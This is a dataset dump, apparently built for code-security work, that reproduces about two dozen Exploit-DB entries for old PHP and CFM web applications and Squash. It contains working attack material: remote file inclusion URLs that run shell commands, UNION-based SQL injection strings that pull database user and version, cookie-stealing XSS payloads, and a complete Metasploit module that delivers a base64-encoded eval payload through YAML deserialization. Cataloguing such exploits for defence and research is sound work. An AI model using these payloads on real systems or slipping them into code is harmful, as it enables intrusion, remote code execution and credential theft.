QLWD/code_shield huggingface dataset:
标题: Warcraft III Replay Parser for PHP 1.8.c - 'index.php' Remote File Inclusion EDB-ID: 27537 CVE: 2006-1584 类型: WEBAPPS 平台: PHP 发布日期: 2006-03-31 漏洞利用脚本: source: https://www.securityfocus.com/bid/17334/info

Warcraft III Replay Parser for PHP is prone to a remote file-include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker can exploit this issue to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.

Warcraft III Replay Parser for PHP 1.8c is reported to be vulnerable. Other versions may be affected as well.

http://www.example.com/[path]/index.php?page=evilcode.txt?&cmd=uname -a URL: https://www.exploit-db.com/exploits/27537
标题: MediaSlash Gallery - 'index.php' Remote File Inclusion EDB-ID: 27534 CVE: 2006-1573 类型: WEBAPPS 平台: PHP 发布日期: 2006-03-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/17323/info

MediaSlash Gallery is prone to a remote file-include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker can exploit this issue to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.

http://www.example.com/index.php?rub=http://www.example.com URL: https://www.exploit-db.com/exploits/27534
标题: X-Changer 0.20 - Multiple SQL Injections EDB-ID: 27533 CVE: 2006-1557 类型: WEBAPPS 平台: PHP 发布日期: 2006-03-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/17322/info

X-Changer is prone to multiple SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

Version 0.20 is reported to be vulnerable. Other versions may be affected as well.

http://www.example.com/index.php?from=[sql]&into=[sql]&value=1&action=calculate
http://www.example.com/index.php?action=edit&id=[sql] URL: https://www.exploit-db.com/exploits/27533
标题: Joomla! Component redSHOP 1.2 - SQL Injection EDB-ID: 27532 CVE: 2010-2694 类型: WEBAPPS 平台: PHP 发布日期: 2013-08-12 漏洞利用脚本: --------------------------------------------
Joomla! redSHOP component v1.2 SQL Injection
--------------------------------------------

== Description ==
- Product: Joomla! redSHOP component
- Product link: http://redcomponent.com/redcomponent/redshop
- Vendor: redcomponent
- Affected versions: version 1.2 is vulnerable. Other versions might
be affected as well.
- Vulnerability discovered by: Matias Fontanini

== Vulnerability ==
When using the "addtocompare" task, the component does not correctly
sanitize the "pid" parameter before using it to construct SQL queries,
making it vulnerable to SQL Injection attacks.

The following proof of concept request retrieves the database user,
name and version:

http://example.com/index.php?tmpl=component&option=com_redshop&view=product&task=addtocompare&pid=24%22%20and%201=0%20union%20select%201,2,3,4,5,6,7,8,concat_ws%280x203a20,%20user%28%29,%20database%28%29,%20version%28%29%29,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63%23&cmd=add&cid=20&sid=0.6886686905513422

== Solution ==
Upgrade the product to the 1.3 version.

== Report timeline ==
[2013-08-02] Vulnerability reported to vendor.
[2013-08-02] Developers answered back indicating that an update would
be released soon.
[2013-08-06] redSHOP 1.3 was released, which fixes the reported issue.
[2013-08-08] Public disclosure. URL: https://www.exploit-db.com/exploits/27532
标题: Squash - YAML Code Execution (Metasploit) EDB-ID: 27530 CVE: 2013-5036 类型: REMOTE 平台: MULTIPLE 发布日期: 2013-08-12 漏洞利用脚本: ##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'
require 'zlib'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Squash YAML Code Execution',
      'Description'    => %q{
          This module exploits a remote code execution vulnerability in the
        YAML request processor of the Squash application.
      },
      'Author'         =>
        [
          'Charlie Eriksen' # Discovery, initial exploit
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'URL', 'http://ceriksen.com/2013/08/06/squash-remote-code-execution-vulnerability-advisory/'],
          [ 'OSVDB', '95992'],
          [ 'CVE', '2013-5036']
        ],
      'Platform'       => 'ruby',
      'Arch'           => ARCH_RUBY,
      'Privileged'     => false,
      'Targets'        =>  [ ['Automatic', {} ] ],
      'DisclosureDate' => 'Aug 06 2013',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('TARGETURI', [ true, 'The path to a vulnerable Ruby on Rails application', "/"])
      ], self.class)

  end

  def check
    response = send_request_cgi({
        'uri'     => normalize_uri(target_uri.path, "api", "1.0", "deobfuscation"),
        'method'  => 'POST',
        'ctype'   => 'application/json',
      })

    if response.code == 422
      print_status("Got HTTP 422 result, target may be vulnerable")
      return Exploit::CheckCode::Appears
    end
    return Exploit::CheckCode::Safe
  end

  def exploit
    code = Rex::Text.encode_base64(payload.encoded)
    yaml =  "--- !ruby/hash:ActionDispatch::Routing::RouteSet::NamedRouteCollection\n" +
        "'#{rand_text_alpha(rand(8)+1)};eval(%[#{code}].unpack(%[m0])[0]);' " +
        ": !ruby/object:OpenStruct\n table:\n  :defaults: {}\n"
    payload = Rex::Text.encode_base64(Zlib::Deflate.deflate(yaml)).gsub("\n", "")
    data = "{\"api_key\":\"1\",\"environment\":\"production\",\"build\":\"1\",\"namespace\":\"#{payload}\"}"

    send_request_cgi({
      'uri'     => normalize_uri(target_uri.path, "api", "1.0", "deobfuscation"),
      'method'  => 'POST',
      'ctype'   => 'application/json',
      'data'    => data
    })
  end
end URL: https://www.exploit-db.com/exploits/27530
标题: RedCMS 0.1 - 'profile.php?u' SQL Injection EDB-ID: 27538 CVE: 2006-1569 类型: WEBAPPS 平台: PHP 发布日期: 2006-03-31 漏洞利用脚本: source: https://www.securityfocus.com/bid/17336/info

RedCMS is prone to multiple input-validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 

The application is prone to HTML-injection and SQL-injection vulnerabilities. A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation. Arbitrary script code may also be executed in the browser of an unsuspecting user in the context of the affected site; this may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/redcms/profile.php? id=99'% 20union%20select% 201,2,3,4,5, 6,7,8,9,10, 11,12,13,14, 15,161,7,18, 19,20/* URL: https://www.exploit-db.com/exploits/27538
标题: PhxContacts 0.93 - 'login.php' Cross-Site Scripting EDB-ID: 27512 CVE: 2006-1535 类型: WEBAPPS 平台: PHP 发布日期: 2006-03-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/17307/info

PhxContacts is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

PhxContacts versions 0.93.1 and prior are reported vulnerable.

http://www.example.com/login.php?m=[xss] URL: https://www.exploit-db.com/exploits/27512
标题: AL-Caricatier 2.5 - Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 27507 CVE: 2006-1556 类型: WEBAPPS 平台: PHP 发布日期: 2006-03-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/17289/info

AL-Caricatier is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://example.com/AL-Caricatier/view_caricatier.php?CatName='><script>alert(document.cookie);</script>

http://example.com/AL-Caricatier/view_caricatier.php?CaricatierID='><script>alert(document.cookie);</script>

http://example.com/AL-Caricatier/view_caricatier.php?CatID='><script>alert(document.cookie);</script> URL: https://www.exploit-db.com/exploits/27507
标题: PhxContacts 0.93 - 'contact_view.php?id_contact' SQL Injection EDB-ID: 27511 CVE: 2006-1536 类型: WEBAPPS 平台: PHP 发布日期: 2006-03-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/17306/info
 
PhxContacts is prone to multiple SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. 
 
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.
 
PhxContacts 0.93.1 and prior are vulnerable; other versions may also be affected.

http://www.example.com/contact_view.php?id_contact=[sql] URL: https://www.exploit-db.com/exploits/27511
标题: Connect Daily 3.2.8/3.2.9 - 'ViewWeek.html?week' Cross-Site Scripting EDB-ID: 27506 CVE: 2006-1508 类型: WEBAPPS 平台: PHP 发布日期: 2006-03-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/17287/info
    
Connect Daily is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
    
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/ViewWeek.html?year=2006&week=[code] URL: https://www.exploit-db.com/exploits/27506
标题: PHPVID 1.2.3 - Multiple Vulnerabilities EDB-ID: 27519 CVE: 2013-5312 2013-5311 2008-4157 2008-2335 类型: WEBAPPS 平台: PHP 发布日期: 2013-08-12 漏洞利用脚本: ##################################################################################
  _____                 _       _   _                _____           
 |  __ \               | |     | | (_)              / ____|          
 | |__) |_____   _____ | |_   _| |_ _  ___  _ __   | (___   ___  ___ 
 |  _  // _ \ \ / / _ \| | | | | __| |/ _ \| '_ \   \___ \ / _ \/ __|
 | | \ \  __/\ V / (_) | | |_| | |_| | (_) | | | |  ____) |  __/ (__ 
 |_|  \_\___| \_/ \___/|_|\__,_|\__|_|\___/|_| |_| |_____/ \___|\___|
                                                                                                                                        
##################################################################################                
PhpVID Script, Multiple Vulnerabilities
Product Page: http://www.vastal.com/phpvid-the-video-sharing-software.html

Author(Pentester): 3spi0n
On Web: RevolutionSec.Com - GraySecure.Org
On Social: Twitter.Com/eyyamgudeer
##################################################################################

[1] SQL Injection Vulnerabilities on Demo Site

[+] (browse_videos.php, n Param)
>>> http://server//browse_videos.php?cat=&n='1

[+] (groups.php, cat Param)
>>> http://server/groups.php?cat='1

[+] (members.php, n Param)
>>> http://server/members.php?browse=recent&n='1

[2] XSS Vulnerability on Demo Site

[+] (browse_videos.php, n Param)
>>> http://server/browse_videos.php?cat=&n=1'<ScRiPt >prompt(959580)</ScRiPt>

[+] (groups.php, cat Param)
>>> http://server//groups.php?cat=1'<ScRiPt >prompt(987925)</ScRiPt>

[+] (search_results.php.php, query Param)
>>> http://server//search_results.php?query=<ScRiPt >prompt(931776)</ScRiPt>

[3] CRLF Injection Vulnerability on Demo Site
>>> http://server/search_results.php?query=<marquee><h1>come to dance! <br>by, 3spi0n</h1></marquee> URL: https://www.exploit-db.com/exploits/27519
标题: VNews 1.2 - Multiple SQL Injections EDB-ID: 27513 CVE: 2006-1543 类型: WEBAPPS 平台: PHP 发布日期: 2006-03-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/17316/info

VNews is prone to multiple SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

Version 1.2 is reported to be vulnerable. Other versions may be affected as well.

http://www.example.com/vnews/news.php? co=show&news=99'% 20union%20select% 201,2,3,4,5, 6/*&nom=1 URL: https://www.exploit-db.com/exploits/27513
标题: PhxContacts 0.93 - 'carnet.php' Multiple SQL Injections EDB-ID: 27510 CVE: 2006-1536 类型: WEBAPPS 平台: PHP 发布日期: 2006-03-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/17306/info

PhxContacts is prone to multiple SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

PhxContacts 0.93.1 and prior are vulnerable; other versions may also be affected.

http://www.example.com/carnet.php?view_cat=&all_lines=true&motclef=[sql]
http://www.example.com/carnet.php?view_cat=2&nbr_line_view=[sql] URL: https://www.exploit-db.com/exploits/27510
标题: OneOrZero 1.6.3 Helpdesk - 'index.php' SQL Injection EDB-ID: 27509 CVE: 2006-1501 类型: WEBAPPS 平台: PHP 发布日期: 2006-03-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/17298/info

OneOrZero Helpdesk is prone to an SQL-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

OneOrZero Helpdesk 1.6.3.0 is prone to this issue. Other versions may be affected as well.

http://www.example.com/index.php?t=kbase&act=kans&id=[sql] URL: https://www.exploit-db.com/exploits/27509
标题: Arab Portal 2.0 - 'download.php' Cross-Site Scripting EDB-ID: 27501 CVE: 2006-1504 类型: WEBAPPS 平台: PHP 发布日期: 2006-03-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/17285/info
 
ArabPortal System is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. 
 
An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 
 
ArabPortal System 2.0 is reported to be vulnerable; other versions may also be affected.

http://www.example.com/download.php?action=byuser&userid=1&title=D3vil-0x1</title><XSS>CODE</XSS> URL: https://www.exploit-db.com/exploits/27501
标题: PHPCOIN 1.2 - 'mod.php?fs' Cross-Site Scripting EDB-ID: 27496 CVE: 2006-1428 类型: WEBAPPS 平台: PHP 发布日期: 2006-03-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/17279/info
 
phpCOIN is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
 
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
 
Versions 1.2.2 and prior are vulnerable; other versions may also be affected.

http://www.example.com/mod.php?mod=orders&mode=view&sb=1&so=A&fb=&fs=[XSS] URL: https://www.exploit-db.com/exploits/27496
标题: Arab Portal 2.0 - 'online.php' Cross-Site Scripting EDB-ID: 27500 CVE: 2006-1504 类型: WEBAPPS 平台: PHP 发布日期: 2006-03-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/17285/info

ArabPortal System is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

ArabPortal System 2.0 is reported to be vulnerable; other versions may also be affected.

http://www.example.com/online.php?&title=D3vil-0x1</title><XSS>CODE</XSS> URL: https://www.exploit-db.com/exploits/27500
标题: Connect Daily 3.2.8/3.2.9 - 'ViewCal.html?item_type_id' Cross-Site Scripting EDB-ID: 27505 CVE: 2006-1508 类型: WEBAPPS 平台: PHP 发布日期: 2006-03-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/17287/info
   
Connect Daily is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
   
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/ViewCal.html?item_type_id=[code] URL: https://www.exploit-db.com/exploits/27505
标题: CONTROLzx Hms 3.3.4 - 'server_management.php?plan_id' Cross-Site Scripting EDB-ID: 27499 CVE: 2006-1430 类型: WEBAPPS 平台: PHP 发布日期: 2006-03-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/17282/info
  
CONTROLzx HMS is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
  
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
  
CONTROLzx HMS 3.3.4 is vulnerable. Other versions may be affected as well.

http://www.example.com/customers/server_management.php?plan_id=1[XSS] URL: https://www.exploit-db.com/exploits/27499
标题: PHPCOIN 1.2 - 'mod_print.php?fs' Cross-Site Scripting EDB-ID: 27495 CVE: 2006-1428 类型: WEBAPPS 平台: PHP 发布日期: 2006-03-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/17279/info

phpCOIN is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Versions 1.2.2 and prior are vulnerable; other versions may also be affected.

http://www.example.com/mod_print.php?mod=helpdesk&sb=&so=&fb=&fs=[XSS] URL: https://www.exploit-db.com/exploits/27495
标题: FusionZONE CouponZONE 4.2 - Multiple SQL Injections EDB-ID: 27491 CVE: 2006-1489 类型: WEBAPPS 平台: CFM 发布日期: 2006-03-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/17274/info

The couponZONE application is prone to multiple SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

Version 4.2 of couponZONE reported vulnerable. Other versions may be affected as well.

http://www.example.com/local.cfm?redir=listings&srchby=&companyid=[SQL]
http://www.example.com/local.cfm?redir=listings&srchby=ct&cat=&scat=[SQL]
http://www.example.com/local.cfm?redir=adv_details&coid=[SQL] URL: https://www.exploit-db.com/exploits/27491
标题: CONTROLzx Hms 3.3.4 - 'shared_order.php?sharedPlanID' Cross-Site Scripting EDB-ID: 27497 CVE: 2006-1430 类型: WEBAPPS 平台: PHP 发布日期: 2006-03-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/17282/info

CONTROLzx HMS is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.


CONTROLzx HMS 3.3.4 is vulnerable. Other versions may be affected as well.

http://www.example.com/shared_order.php?sharedPlanID=1[XSS] URL: https://www.exploit-db.com/exploits/27497
标题: CONTROLzx Hms 3.3.4 - 'dedicated_order.php?dedicatedPlanID' Cross-Site Scripting EDB-ID: 27498 CVE: 2006-1430 类型: WEBAPPS 平台: PHP 发布日期: 2006-03-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/17282/info
 
CONTROLzx HMS is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
 
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
 
CONTROLzx HMS 3.3.4 is vulnerable. Other versions may be affected as well.

http://www.example.com/dedicated_order.php?dedicatedPlanID=1[XSS] URL: https://www.exploit-db.com/exploits/27498
标题: phpMyFamily 1.4.1 - 'Track.php' Cross-Site Scripting EDB-ID: 27494 CVE: 2006-1425 类型: WEBAPPS 平台: PHP 发布日期: 2006-03-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/17278/info

The 'phpmyfamily' application is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/track.php?person=00001&name=[code]&email=1&action=sub&submit=Wy%B6lij URL: https://www.exploit-db.com/exploits/27494
标题: Connect Daily 3.2.8/3.2.9 - 'ViewSearch.html' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 27503 CVE: 2006-1508 类型: WEBAPPS 平台: PHP 发布日期: 2006-03-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/17287/info
 
Connect Daily is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
 
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/ViewSearch.html?integral=0&show_stop=0&show_resources=0&criteria=calendar_id%3D34&txtSearch=[code]
http://www.example.com/ViewSearch.html?integral=0&show_stop=0&show_resources=0&criteria=calendar_id%3D34&txtSearch=&opgFields1&opgSearch=[code]
http://www.example.com/ViewSearch.html?integral=0&show_stop=0&show_resources=0&criteria=calendar_id%3D34&txtSearch=&opgFields=[code] URL: https://www.exploit-db.com/exploits/27503